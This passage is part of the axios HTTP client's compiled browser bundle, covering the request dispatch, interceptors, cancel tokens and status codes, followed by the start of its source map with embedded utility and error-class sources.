throw new AxiosError(formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')), AxiosError.ERR_DEPRECATED); } if (version && !deprecatedWarnings[opt]) { deprecatedWarnings[opt] = true; // eslint-disable-next-line no-console console.warn(formatMessage(opt, ' has been deprecated since v' + version + ' and will be removed in the near future')); } return validator ? validator(value, opt, opts) : true; }; }; /** * Assert object's properties type * * @param {object} options * @param {object} schema * @param {boolean?} allowUnknown * * @returns {object} */ function assertOptions(options, schema, allowUnknown) { if (_typeof(options) !== 'object') { throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE); } var keys = Object.keys(options); var i = keys.length; while (i-- > 0) { var opt = keys[i]; var validator = schema[opt]; if (validator) { var value = options[opt]; var result = value === undefined || validator(value, opt, options); if (result !== true) { throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE); } continue; } if (allowUnknown !== true) { throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION); } } } var validator = { assertOptions: assertOptions, validators: validators$1 }; var validators = validator.validators; /** * Create a new instance of Axios * * @param {Object} instanceConfig The default config for the instance * * @return {Axios} A new instance of Axios */ var Axios = /*#__PURE__*/function () { function Axios(instanceConfig) { _classCallCheck(this, Axios); this.defaults = instanceConfig; this.interceptors = { request: new InterceptorManager$1(), response: new InterceptorManager$1() }; } /** * Dispatch a request * * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults) * @param {?Object} config * * @returns {Promise} The Promise to be fulfilled */ _createClass(Axios, [{ key: "request", value: (function () { var _request2 = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee(configOrUrl, config) { var dummy, stack; return _regeneratorRuntime().wrap(function _callee$(_context) { while (1) switch (_context.prev = _context.next) { case 0: _context.prev = 0; _context.next = 3; return this._request(configOrUrl, config); case 3: return _context.abrupt("return", _context.sent); case 6: _context.prev = 6; _context.t0 = _context["catch"](0); if (_context.t0 instanceof Error) { Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : dummy = new Error(); // slice off the Error: ... line stack = dummy.stack ? dummy.stack.replace(/^.+\n/, '') : ''; try { if (!_context.t0.stack) { _context.t0.stack = stack; // match without the 2 top stack lines } else if (stack && !String(_context.t0.stack).endsWith(stack.replace(/^.+\n.+\n/, ''))) { _context.t0.stack += '\n' + stack; } } catch (e) { // ignore the case where "stack" is an un-writable property } } throw _context.t0; case 10: case "end": return _context.stop(); } }, _callee, this, [[0, 6]]); })); function request(_x, _x2) { return _request2.apply(this, arguments); } return request; }()) }, { key: "_request", value: function _request(configOrUrl, config) { /*eslint no-param-reassign:0*/ // Allow for axios('example/url'[, config]) a la fetch API if (typeof configOrUrl === 'string') { config = config || {}; config.url = configOrUrl; } else { config = configOrUrl || {}; } config = mergeConfig(this.defaults, config); var _config = config, transitional = _config.transitional, paramsSerializer = _config.paramsSerializer, headers = _config.headers; if (transitional !== undefined) { validator.assertOptions(transitional, { silentJSONParsing: validators.transitional(validators["boolean"]), forcedJSONParsing: validators.transitional(validators["boolean"]), clarifyTimeoutError: validators.transitional(validators["boolean"]) }, false); } if (paramsSerializer != null) { if (utils$1.isFunction(paramsSerializer)) { config.paramsSerializer = { serialize: paramsSerializer }; } else { validator.assertOptions(paramsSerializer, { encode: validators["function"], serialize: validators["function"] }, true); } } // Set config.method config.method = (config.method || this.defaults.method || 'get').toLowerCase(); // Flatten headers var contextHeaders = headers && utils$1.merge(headers.common, headers[config.method]); headers && utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch', 'common'], function (method) { delete headers[method]; }); config.headers = AxiosHeaders$1.concat(contextHeaders, headers); // filter out skipped interceptors var requestInterceptorChain = []; var synchronousRequestInterceptors = true; this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) { if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) { return; } synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous; requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected); }); var responseInterceptorChain = []; this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) { responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected); }); var promise; var i = 0; var len; if (!synchronousRequestInterceptors) { var chain = [dispatchRequest.bind(this), undefined]; chain.unshift.apply(chain, requestInterceptorChain); chain.push.apply(chain, responseInterceptorChain); len = chain.length; promise = Promise.resolve(config); while (i < len) { promise = promise.then(chain[i++], chain[i++]); } return promise; } len = requestInterceptorChain.length; var newConfig = config; i = 0; while (i < len) { var onFulfilled = requestInterceptorChain[i++]; var onRejected = requestInterceptorChain[i++]; try { newConfig = onFulfilled(newConfig); } catch (error) { onRejected.call(this, error); break; } } try { promise = dispatchRequest.call(this, newConfig); } catch (error) { return Promise.reject(error); } i = 0; len = responseInterceptorChain.length; while (i < len) { promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]); } return promise; } }, { key: "getUri", value: function getUri(config) { config = mergeConfig(this.defaults, config); var fullPath = buildFullPath(config.baseURL, config.url); return buildURL(fullPath, config.params, config.paramsSerializer); } }]); return Axios; }(); // Provide aliases for supported request methods utils$1.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) { /*eslint func-names:0*/ Axios.prototype[method] = function (url, config) { return this.request(mergeConfig(config || {}, { method: method, url: url, data: (config || {}).data })); }; }); utils$1.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) { /*eslint func-names:0*/ function generateHTTPMethod(isForm) { return function httpMethod(url, data, config) { return this.request(mergeConfig(config || {}, { method: method, headers: isForm ? { 'Content-Type': 'multipart/form-data' } : {}, url: url, data: data })); }; } Axios.prototype[method] = generateHTTPMethod(); Axios.prototype[method + 'Form'] = generateHTTPMethod(true); }); var Axios$1 = Axios; /** * A `CancelToken` is an object that can be used to request cancellation of an operation. * * @param {Function} executor The executor function. * * @returns {CancelToken} */ var CancelToken = /*#__PURE__*/function () { function CancelToken(executor) { _classCallCheck(this, CancelToken); if (typeof executor !== 'function') { throw new TypeError('executor must be a function.'); } var resolvePromise; this.promise = new Promise(function promiseExecutor(resolve) { resolvePromise = resolve; }); var token = this; // eslint-disable-next-line func-names this.promise.then(function (cancel) { if (!token._listeners) return; var i = token._listeners.length; while (i-- > 0) { token._listeners[i](cancel); } token._listeners = null; }); // eslint-disable-next-line func-names this.promise.then = function (onfulfilled) { var _resolve; // eslint-disable-next-line func-names var promise = new Promise(function (resolve) { token.subscribe(resolve); _resolve = resolve; }).then(onfulfilled); promise.cancel = function reject() { token.unsubscribe(_resolve); }; return promise; }; executor(function cancel(message, config, request) { if (token.reason) { // Cancellation has already been requested return; } token.reason = new CanceledError(message, config, request); resolvePromise(token.reason); }); } /** * Throws a `CanceledError` if cancellation has been requested. */ _createClass(CancelToken, [{ key: "throwIfRequested", value: function throwIfRequested() { if (this.reason) { throw this.reason; } } /** * Subscribe to the cancel signal */ }, { key: "subscribe", value: function subscribe(listener) { if (this.reason) { listener(this.reason); return; } if (this._listeners) { this._listeners.push(listener); } else { this._listeners = [listener]; } } /** * Unsubscribe from the cancel signal */ }, { key: "unsubscribe", value: function unsubscribe(listener) { if (!this._listeners) { return; } var index = this._listeners.indexOf(listener); if (index !== -1) { this._listeners.splice(index, 1); } } /** * Returns an object that contains a new `CancelToken` and a function that, when called, * cancels the `CancelToken`. */ }], [{ key: "source", value: function source() { var cancel; var token = new CancelToken(function executor(c) { cancel = c; }); return { token: token, cancel: cancel }; } }]); return CancelToken; }(); var CancelToken$1 = CancelToken; /** * Syntactic sugar for invoking a function and expanding an array for arguments. * * Common use case would be to use `Function.prototype.apply`. * * ```js * function f(x, y, z) {} * var args = [1, 2, 3]; * f.apply(null, args); * ``` * * With `spread` this example can be re-written. * * ```js * spread(function(x, y, z) {})([1, 2, 3]); * ``` * * @param {Function} callback * * @returns {Function} */ function spread(callback) { return function wrap(arr) { return callback.apply(null, arr); }; } /** * Determines whether the payload is an error thrown by Axios * * @param {*} payload The value to test * * @returns {boolean} True if the payload is an error thrown by Axios, otherwise false */ function isAxiosError(payload) { return utils$1.isObject(payload) && payload.isAxiosError === true; } var HttpStatusCode = { Continue: 100, SwitchingProtocols: 101, Processing: 102, EarlyHints: 103, Ok: 200, Created: 201, Accepted: 202, NonAuthoritativeInformation: 203, NoContent: 204, ResetContent: 205, PartialContent: 206, MultiStatus: 207, AlreadyReported: 208, ImUsed: 226, MultipleChoices: 300, MovedPermanently: 301, Found: 302, SeeOther: 303, NotModified: 304, UseProxy: 305, Unused: 306, TemporaryRedirect: 307, PermanentRedirect: 308, BadRequest: 400, Unauthorized: 401, PaymentRequired: 402, Forbidden: 403, NotFound: 404, MethodNotAllowed: 405, NotAcceptable: 406, ProxyAuthenticationRequired: 407, RequestTimeout: 408, Conflict: 409, Gone: 410, LengthRequired: 411, PreconditionFailed: 412, PayloadTooLarge: 413, UriTooLong: 414, UnsupportedMediaType: 415, RangeNotSatisfiable: 416, ExpectationFailed: 417, ImATeapot: 418, MisdirectedRequest: 421, UnprocessableEntity: 422, Locked: 423, FailedDependency: 424, TooEarly: 425, UpgradeRequired: 426, PreconditionRequired: 428, TooManyRequests: 429, RequestHeaderFieldsTooLarge: 431, UnavailableForLegalReasons: 451, InternalServerError: 500, NotImplemented: 501, BadGateway: 502, ServiceUnavailable: 503, GatewayTimeout: 504, HttpVersionNotSupported: 505, VariantAlsoNegotiates: 506, InsufficientStorage: 507, LoopDetected: 508, NotExtended: 510, NetworkAuthenticationRequired: 511 }; Object.entries(HttpStatusCode).forEach(function (_ref) { var _ref2 = _slicedToArray(_ref, 2), key = _ref2[0], value = _ref2[1]; HttpStatusCode[value] = key; }); var HttpStatusCode$1 = HttpStatusCode; /** * Create an instance of Axios * * @param {Object} defaultConfig The default config for the instance * * @returns {Axios} A new instance of Axios */ function createInstance(defaultConfig) { var context = new Axios$1(defaultConfig); var instance = bind(Axios$1.prototype.request, context); // Copy axios.prototype to instance utils$1.extend(instance, Axios$1.prototype, context, { allOwnKeys: true }); // Copy context to instance utils$1.extend(instance, context, null, { allOwnKeys: true }); // Factory for creating new instances instance.create = function create(instanceConfig) { return createInstance(mergeConfig(defaultConfig, instanceConfig)); }; return instance; } // Create the default instance to be exported var axios = createInstance(defaults$1); // Expose Axios class to allow class inheritance axios.Axios = Axios$1; // Expose Cancel & CancelToken axios.CanceledError = CanceledError; axios.CancelToken = CancelToken$1; axios.isCancel = isCancel; axios.VERSION = VERSION; axios.toFormData = toFormData; // Expose AxiosError class axios.AxiosError = AxiosError; // alias for CanceledError for backward compatibility axios.Cancel = axios.CanceledError; // Expose all/spread axios.all = function all(promises) { return Promise.all(promises); }; axios.spread = spread; // Expose isAxiosError axios.isAxiosError = isAxiosError; // Expose mergeConfig axios.mergeConfig = mergeConfig; axios.AxiosHeaders = AxiosHeaders$1; axios.formToJSON = function (thing) { return formDataToJSON(utils$1.isHTMLForm(thing) ? new FormData(thing) : thing); }; axios.getAdapter = adapters.getAdapter; axios.HttpStatusCode = HttpStatusCode$1; axios["default"] = axios; return axios; })); //# sourceMappingURL=axios.js.map axios.js.map000064400000707425151677271550007040 0ustar00{"version":3,"file":"axios.js","sources":["../lib/helpers/bind.js","../lib/utils.js","../lib/core/AxiosError.js","../lib/helpers/null.js","../lib/helpers/toFormData.js","../lib/helpers/AxiosURLSearchParams.js","../lib/helpers/buildURL.js","../lib/core/InterceptorManager.js","../lib/defaults/transitional.js","../lib/platform/browser/classes/URLSearchParams.js","../lib/platform/browser/classes/FormData.js","../lib/platform/browser/classes/Blob.js","../lib/platform/browser/index.js","../lib/platform/common/utils.js","../lib/platform/index.js","../lib/helpers/toURLEncodedForm.js","../lib/helpers/formDataToJSON.js","../lib/defaults/index.js","../lib/helpers/parseHeaders.js","../lib/core/AxiosHeaders.js","../lib/core/transformData.js","../lib/cancel/isCancel.js","../lib/cancel/CanceledError.js","../lib/core/settle.js","../lib/helpers/parseProtocol.js","../lib/helpers/speedometer.js","../lib/helpers/throttle.js","../lib/helpers/progressEventReducer.js","../lib/helpers/isURLSameOrigin.js","../lib/helpers/cookies.js","../lib/helpers/isAbsoluteURL.js","../lib/helpers/combineURLs.js","../lib/core/buildFullPath.js","../lib/core/mergeConfig.js","../lib/helpers/resolveConfig.js","../lib/adapters/xhr.js","../lib/helpers/composeSignals.js","../lib/helpers/trackStream.js","../lib/adapters/fetch.js","../lib/adapters/adapters.js","../lib/core/dispatchRequest.js","../lib/env/data.js","../lib/helpers/validator.js","../lib/core/Axios.js","../lib/cancel/CancelToken.js","../lib/helpers/spread.js","../lib/helpers/isAxiosError.js","../lib/helpers/HttpStatusCode.js","../lib/axios.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n return function wrap() {\n return fn.apply(thisArg, arguments);\n };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n const str = toString.call(thing);\n return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n type = type.toLowerCase();\n return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n let result;\n if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n result = ArrayBuffer.isView(val);\n } else {\n result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n }\n return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n if (kindOf(val) !== 'object') {\n return false;\n }\n\n const prototype = getPrototypeOf(val);\n return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n let kind;\n return thing && (\n (typeof FormData === 'function' && thing instanceof FormData) || (\n isFunction(thing.append) && (\n (kind = kindOf(thing)) === 'formdata' ||\n // detect form-data instance\n (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n )\n )\n )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n // Don't bother if no value provided\n if (obj === null || typeof obj === 'undefined') {\n return;\n }\n\n let i;\n let l;\n\n // Force an array if not already something iterable\n if (typeof obj !== 'object') {\n /*eslint no-param-reassign:0*/\n obj = [obj];\n }\n\n if (isArray(obj)) {\n // Iterate over array values\n for (i = 0, l = obj.length; i < l; i++) {\n fn.call(null, obj[i], i, obj);\n }\n } else {\n // Iterate over object keys\n const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n const len = keys.length;\n let key;\n\n for (i = 0; i < len; i++) {\n key = keys[i];\n fn.call(null, obj[key], key, obj);\n }\n }\n}\n\nfunction findKey(obj, key) {\n key = key.toLowerCase();\n const keys = Object.keys(obj);\n let i = keys.length;\n let _key;\n while (i-- > 0) {\n _key = keys[i];\n if (key === _key.toLowerCase()) {\n return _key;\n }\n }\n return null;\n}\n\nconst _global = (() => {\n /*eslint no-undef:0*/\n if (typeof globalThis !== \"undefined\") return globalThis;\n return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const {caseless} = isContextDefined(this) && this || {};\n const result = {};\n const assignValue = (val, key) => {\n const targetKey = caseless && findKey(result, key) || key;\n if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n result[targetKey] = merge(result[targetKey], val);\n } else if (isPlainObject(val)) {\n result[targetKey] = merge({}, val);\n } else if (isArray(val)) {\n result[targetKey] = val.slice();\n } else {\n result[targetKey] = val;\n }\n }\n\n for (let i = 0, l = arguments.length; i < l; i++) {\n arguments[i] && forEach(arguments[i], assignValue);\n }\n return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n forEach(b, (val, key) => {\n if (thisArg && isFunction(val)) {\n a[key] = bind(val, thisArg);\n } else {\n a[key] = val;\n }\n }, {allOwnKeys});\n return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n if (content.charCodeAt(0) === 0xFEFF) {\n content = content.slice(1);\n }\n return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n constructor.prototype.constructor = constructor;\n Object.defineProperty(constructor, 'super', {\n value: superConstructor.prototype\n });\n props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n let props;\n let i;\n let prop;\n const merged = {};\n\n destObj = destObj || {};\n // eslint-disable-next-line no-eq-null,eqeqeq\n if (sourceObj == null) return destObj;\n\n do {\n props = Object.getOwnPropertyNames(sourceObj);\n i = props.length;\n while (i-- > 0) {\n prop = props[i];\n if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n destObj[prop] = sourceObj[prop];\n merged[prop] = true;\n }\n }\n sourceObj = filter !== false && getPrototypeOf(sourceObj);\n } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n str = String(str);\n if (position === undefined || position > str.length) {\n position = str.length;\n }\n position -= searchString.length;\n const lastIndex = str.indexOf(searchString, position);\n return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n if (!thing) return null;\n if (isArray(thing)) return thing;\n let i = thing.length;\n if (!isNumber(i)) return null;\n const arr = new Array(i);\n while (i-- > 0) {\n arr[i] = thing[i];\n }\n return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n // eslint-disable-next-line func-names\n return thing => {\n return TypedArray && thing instanceof TypedArray;\n };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n const generator = obj && obj[Symbol.iterator];\n\n const iterator = generator.call(obj);\n\n let result;\n\n while ((result = iterator.next()) && !result.done) {\n const pair = result.value;\n fn.call(obj, pair[0], pair[1]);\n }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n let matches;\n const arr = [];\n\n while ((matches = regExp.exec(str)) !== null) {\n arr.push(matches);\n }\n\n return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n function replacer(m, p1, p2) {\n return p1.toUpperCase() + p2;\n }\n );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n const descriptors = Object.getOwnPropertyDescriptors(obj);\n const reducedDescriptors = {};\n\n forEach(descriptors, (descriptor, name) => {\n let ret;\n if ((ret = reducer(descriptor, name, obj)) !== false) {\n reducedDescriptors[name] = ret || descriptor;\n }\n });\n\n Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n reduceDescriptors(obj, (descriptor, name) => {\n // skip restricted props in strict mode\n if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n return false;\n }\n\n const value = obj[name];\n\n if (!isFunction(value)) return;\n\n descriptor.enumerable = false;\n\n if ('writable' in descriptor) {\n descriptor.writable = false;\n return;\n }\n\n if (!descriptor.set) {\n descriptor.set = () => {\n throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n };\n }\n });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n const obj = {};\n\n const define = (arr) => {\n arr.forEach(value => {\n obj[value] = true;\n });\n }\n\n isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n DIGIT,\n ALPHA,\n ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n let str = '';\n const {length} = alphabet;\n while (size--) {\n str += alphabet[Math.random() * length|0]\n }\n\n return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n const stack = new Array(10);\n\n const visit = (source, i) => {\n\n if (isObject(source)) {\n if (stack.indexOf(source) >= 0) {\n return;\n }\n\n if(!('toJSON' in source)) {\n stack[i] = source;\n const target = isArray(source) ? [] : {};\n\n forEach(source, (value, key) => {\n const reducedValue = visit(value, i + 1);\n !isUndefined(reducedValue) && (target[key] = reducedValue);\n });\n\n stack[i] = undefined;\n\n return target;\n }\n }\n\n return source;\n }\n\n return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n ALPHABET,\n generateString,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = (new Error()).stack;\n }\n\n this.message = message;\n this.name = 'AxiosError';\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n toJSON: function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils.toJSONObject(this.config),\n code: this.code,\n status: this.response && this.response.status ? this.response.status : null\n };\n }\n});\n\nconst prototype = AxiosError.prototype;\nconst 